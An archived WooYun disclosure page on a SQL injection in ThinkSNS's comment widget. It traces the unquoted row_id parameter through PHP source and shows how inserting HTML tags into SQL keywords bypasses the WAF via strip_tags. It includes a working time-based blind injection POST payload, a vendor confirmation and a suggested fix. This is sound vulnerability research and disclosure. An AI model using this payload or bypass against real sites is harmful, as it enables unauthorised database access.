当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2014-81751

漏洞标题: ThinkSNS第一弹 - SQL注入

相关厂商: ThinkSNS

漏洞作者: 猪头子

提交时间: 2014-11-05 10:04

公开时间: 2015-02-03 10:06

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 白盒测试

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-05: 细节已通知厂商并且等待厂商处理中
2014-11-09: 厂商已经确认,细节仅向厂商公开
2014-11-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-03: 细节向核心白帽子及相关领域专家公开
2015-01-13: 细节向普通白帽子公开
2015-01-23: 细节向实习白帽子公开
2015-02-03: 细节向公众公开

简要描述:

ThinkSNS漏洞系列第一弹,某处处理不当导致SQL注入

详细说明:

漏洞点出现在Comment Widget里:

\addons\widget\CommentWidget\CommentWidget.class.php:138

code 区域
/**
* 添加评论的操作
*
* @return array 评论添加状态和提示信息
*/
public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();

if (! $sourceInfo) {
$return ['status'] = 0;
$return ['data'] = '内容已被删除,评论失败';
exit ( json_encode ( $return ) );
}
... ... ... ... ... ...
// 添加评论操作
$data ['comment_id'] = model ( 'Comment' )->addComment ( $data );
if ($data ['comment_id']) {
$return ['status'] = 1;
$return ['data'] = $this->parseComment ( $data );

// 同步到微吧
if ($data ['app'] == 'weiba')
$this->_upateToweiba ( $data );

... ... ... ... ...
}



$_POST经过$data [$key] = t( $data [$key] )后成为$data。

然后添加评论后会根据$data['app']选择同步到哪些应用中去,比如:

code 区域
// 同步到微吧
if ($data ['app'] == 'weiba')
$this->_upateToweiba ( $data );



\addons\widget\CommentWidget\CommentWidget.class.php:252:

code 区域
// 同步到微吧
function _upateToweiba($data) {
$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find ();
if (! $postDetail)
return false;

... ... ... ... ...
}



$data['row_id']进入$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find (),两边没有单引号包围。

而$data['row_id']是前台可控的变量,来自$_POST['row_id'],so,这里就存在SQL注入了。

由于ThinkSNS前台有WAF,因此需要结合t()来绕过:

\core\OpenSociax\functions.inc.php:630

code 区域
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}



经过t()的变量都会过real_strip_tags($text):

\core\OpenSociax\functions.inc.php:2274

code 区域
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}



而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。

漏洞证明:

基于时间的盲注,POST请求都要带上正确的referer。

code 区域
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1

app_name=weiba&table_name=user&content=test&row_id=2 a<a>nd 0=sle<a>ep(2);-- -&app_detail_summary=



1.jpg



修复方案:

在SQL查询参数周围加入单引号

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-09 15:45

厂商回复:

非常感谢,都是strip_tags引起的漏洞,有重复提交.

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-05 10:11 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:108 )
    0

    难道还有2、3、4、5弹么

  2. 2014-11-05 10:24 | s0mun5 认证白帽子 ( 普通白帽子 | Rank:509 漏洞数:25 | hacked by 肉肉)
    0

    猪头子又来了

  3. 2014-11-05 10:38 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )
    0

    已经屌成了这个鬼样子?

  4. 2014-11-05 10:43 | 皂皂 ( 路人 | Rank:0 漏洞数:1 | a hacker and painter)
    0

    已经屌成了这个鬼样子?

  5. 2014-11-05 12:54 | YouYaX(乌云厂商)
    0

    吊炸天,软件还是不能既开源又商业,开源增加危险,对客户易造成损失

  6. 2014-11-05 12:56 | Ebon_Wolf ( 实习白帽子 | Rank:48 漏洞数:24 | 您好,我似咣咚朲,需要服务吗?专业酱油工...)
    0

    牛逼的猪头~~

  7. 2014-11-05 17:36 | darker ( 路人 | Rank:25 漏洞数:26 | = =)
    0

    Ztz同志看这里…

  8. 2014-11-06 12:45 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @darker Hello~

  9. 2014-11-06 15:32 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @皂皂 谢谢师傅送我QQ秀~

  10. 2014-11-09 22:12 | pyarm ( 路人 | Rank:11 漏洞数:7 | 纯属爱好)
    1

    牛逼的猪头~~

  11. 2014-11-11 10:22 | 皂皂 ( 路人 | Rank:0 漏洞数:1 | a hacker and painter)
    1

    @猪头子 (◕ฺω◕ฺ) 提交精华漏洞再送一打

  12. 2014-12-11 10:19 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)
    1

    猪头子师傅,瞌睡龙说请你喝ddos

登录后才能发表评论,请先 登录